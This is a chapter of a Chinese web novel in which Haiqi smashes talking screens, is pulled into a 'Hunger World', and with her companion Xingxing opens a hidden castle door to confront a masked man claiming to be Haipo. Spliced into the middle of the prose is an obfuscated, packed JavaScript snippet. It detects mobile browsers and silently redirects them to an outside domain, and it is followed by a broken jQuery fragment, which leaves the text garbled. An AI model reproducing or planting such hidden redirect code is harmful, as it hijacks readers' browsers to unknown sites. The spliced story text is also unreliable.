“……‘饥饿世界’关键词,即将为您开始游戏,敬请期待!”对面完全不听,只一味地报幕。 “……”海旗无语凝噎,“吵死了!” 因为气愤,海旗感觉身体的力气瞬间回来了,起身来到屏幕前,将尖锐的钥匙作为凶器,奋力刺进屏幕中心,应声而碎。 “……滋……玩家不得损坏……”机械音只响起一半就被消音了,世界终于安静了。 然而安静只持续了三秒,房间内余下所有屏幕瞬间闪烁起红色警报。鸣笛声尖锐刺耳,化作一把把风刃往海旗身上飞去,一刀一刀划进躯体后消失不见。 海旗捂住伤上加伤的可怖伤口:“!” “警告??玩家违规损坏主屏幕,即将剥夺玩家离开的权限!” 四周的墙壁在一声声警告中变得透明,直到完全隐去身形。 和上一个娃娃屋出现了一样的情况。 “即将送您前往‘饥饿世界’,那里将成为您的葬身之处!”这群屏幕还有脾气! “好好好!这么玩是吧!”海旗被痛精神了,面无表情地靠近下一个屏幕,靠着一把小小的钥匙,逐一将它们戳碎毁坏。 “警告??警告??警告??……” 屏幕在被熄灭前纷纷弹出“警告??”标识,激动得特殊符号都被逼出来了。然而机械音并未随着破碎而消声,反而愈来愈刺耳! 海旗捂住耳朵:“瞎叫唤什么!都不让我出去了,难道还指望我好声好气对你们?” “‘饥饿世界’已开启,亲爱的玩家,再见!”随着阴阳怪气的话音落下,海旗的面前出现一个灰暗交界的气流漩涡,准备将人吸进去。 海旗往后退,但漩涡像是有意识般,她退到哪,它就往前紧逼,不给一刻退缩的机会。 很快,漩涡里出现一只手,邀请她前往游戏世界。 手臂纤瘦细嫩,手腕处隐隐浮现出黑色的鳞片,指缝被一层透黑的薄膜连接,那是蹼。而拥有这样的双手,不正是星星? 不多犹豫,海旗选择握住那只渺小的手。星星的手太小了,生怕一个用力就将其扯下来,因此她的动作很轻,轻轻地握住,犹如对待一件珍宝。 对于星星的身份,海旗想过很多。星星很神秘,也知道很多东西,而且她对星星总是无条件地信任,从第一回见到她开始。 还有控梦术,星星不在的时候,她的控梦术总是失灵的。只有星星在她身边,她才能施展。 答案已然呼之欲出。 “海旗——”漩涡之中传来星星地呼唤,声音跟着漩涡旋转,时远时近。 她被吸进去,连同尘封已久的记忆也被甩出来一部分,迷糊中,看见有什么人在说话。 “海旗?有何意义吗?” “当然,海面上迎风飘扬的旗帜,自由且浪漫。” 她看不清对面的人是谁,只有那双琥珀色的眼眸亮得发烫。 “在我说停下前,你要一直爱我……” “可以。” 后面还有什么已经听不清更看不清了,眼睛在闭上之前,她看着这些画面被甩远,怎么也触摸不到。 “……海旗!你不要死啊!快醒醒!” 海旗感觉身体被摇晃,耳边是星星清晰又着急的声音,意识逐渐回笼,但眼睛怎么也睁不开。 “为什么你执着于要救她,她连你是谁都不知道?”翻版娃娃又出现了。 星星手上的动作停下,紧接着一阵酥酥麻麻的痒意传遍全身。久违的鳞粉飘洒在身上,身体的伤口再快速愈合。 “你每次现身都要说这些风凉话,不累吗?”星星的声音远了一点,“我不知道你之前都让她看见或者听见了什么,但很显然,她并不会乖乖踏入你的陷阱。明知一切都是徒劳的,你偏要一次又一次地贴脸,不累吗?” “……”翻版娃娃不说话了。 海旗使劲推开压抑着身体的巨石,呼吸终于顺畅了,也能睁开眼了。 挣/扎着缓缓坐起来,星星立马注意到她飞了回来:“海旗!你终于醒过来了!” 星星先是绕着海旗检查了一圈,确保她身上的伤都恢复得差不多了,才松了口气扑进她怀里。 海旗抱住星星后,先是安慰了一下:“好啦,我这不是还好好的嘛。” 紧接着瞥见翻版娃娃在两米外的空地上,低着头沉默,感受到海旗的目光,向上抬眼盯着海旗,弯曲嘴角,露出一抹诡异的笑,而后隐身消失。 海旗张张嘴,开口却是:“饿了。” 星星闻声立刻飞起来,慌张地看着她:“糟了!你现实中的身体开始饥饿了!” 周围是一片荒芜的平原,仿佛回到了上一个游戏世界中,马上要有一群丧尸跑出来追逐。 海旗没有继续饥饿的话题,眼神还未明晰:“这里……是游戏里吗?” 星星:“……这是重点吗?” 海旗晃晃脑袋,将取得的钥匙展示给星星看:“战利品,但不知道是开哪里的门。我们还能出去吗?” 星星叹了口气,接过手中的钥匙仔细看了看:“我想,我知道这是哪里的钥匙。” 先前为了寻找海旗,星星在城堡里上上下下飞了几个来回,其中看见一个复古的棕色门扉,与别的门都不一样。其中它的钥匙孔就恰好与海旗手中这把钥匙对应。 其他门不是没有匹配钥匙,而都是很明显的现代钥匙孔,钥匙外形也都大差不差的那种。只有那扇复古门扉,钥匙孔只有一个细小的圆孔。 海旗说:“我们离开这里,去找这扇门吧。” “好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907166|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星星没有再多说什么。 海旗伸出手,闭上眼,果然,只要星星在身边,控梦术又显灵了。 一扇任意门凭空出现在黄土之上,随着手心握住门把手,机械音紧急出声制止:“检测到游戏场景中/出现不明物体,即将启动摧毁程序!” 闻言,海旗抱住星星、拉门、抬腿、关门的动作异常迅速,身后的门下一秒就被摧毁得灰烬满天飞。 脚下是柔软的暗红色地毯,这里是城堡中不知哪一层的楼道,前面就是往下的楼梯。 “就是这扇门!”星星在身后激动道。 海旗回头一看,楼道尽头有一扇突兀的浅棕色门扉,门上雕刻着复古华丽的花纹,这扇门本身就是一件精美的艺术品。 钥匙插/进空洞轻轻一扭,门果然应声而开,“吱呀吱呀”缓慢地往里打开,透出狭窄的门缝。 “滋……”背包里沉寂已久的对讲机突然发出电流声。 房间里漆黑无比,什么也看不见。而后一股尘封已久的尘土气息混着淡淡的血腥味涌入鼻间。 海旗站在门口踌躇,她知道,一旦踏进去,想要再出来就很难了。 “……滋……怎么不进来?”对讲机里传出男人的声音,依然是海珀的音色配上陌生的音调。 对面用的是“进来”这个词,而不是“进去”,说明对讲机那头的男人就在这个房间里。 海旗拿出对讲机,按住按钮但没有说话。紧接着房间里果然传来细微的滋滋电流声。但奇怪的是,刚刚只能从对讲机里听见男人的声音,而不是房间里。 身后的星星紧紧拽着海旗的衣角,手微微颤/抖:“我感觉里面不太妙……要不我们……” “不,”海旗摇头拒绝星星的要求,坚定眼神道,“我们进去。” “很聪明的选择。”男人的声音再次从对讲机里传出。 海旗将门推开到最大,让光线浸/透,终于将房间里的情况看了个大概。 昏暗的房间正中心,放着一张沙发椅,一个身高体长的男人坐在其中,正对着门。一双修长的腿交叠,左脚脚尖高高翘起对着海旗。 再往上看,男人戴着面具遮住了全脸,一头凌乱的短发搭在面具外,又像是精心打理成这样的。整个人慵懒地靠在沙发椅上,歪斜着身子,一根手指轻轻撑在太阳穴上,面具之后,一双琥珀色的眸子直视站在光线里的人。 在男人背后更暗的角落里,依稀放着一个铁笼,囚禁着不知道什么怪物,腥臭味隐隐弥漫在房间中。 海旗往里迈了一步,眯着眼:“你是谁?” 男人将身体调换了个歪斜的方向,发出温柔的笑声,又因房间过于昏暗,温柔中带着一丝邪魅:“小旗听不出来了吗?” 他将手放下,撑着沙发椅站了起来,一步一步往前:“我不是说过……只要你需要我,我就会出现……” 海旗抬头看他,直白地问:“你是想说,你就是海珀吗?” 男人已经来到海旗面前,伸手捏住海旗的下巴,强迫她贴近自己。若不是面具隔着,已然不止脸贴脸而已。 他头微一侧往右偏,靠近海旗的耳朵:“小旗,留下来……陪我……”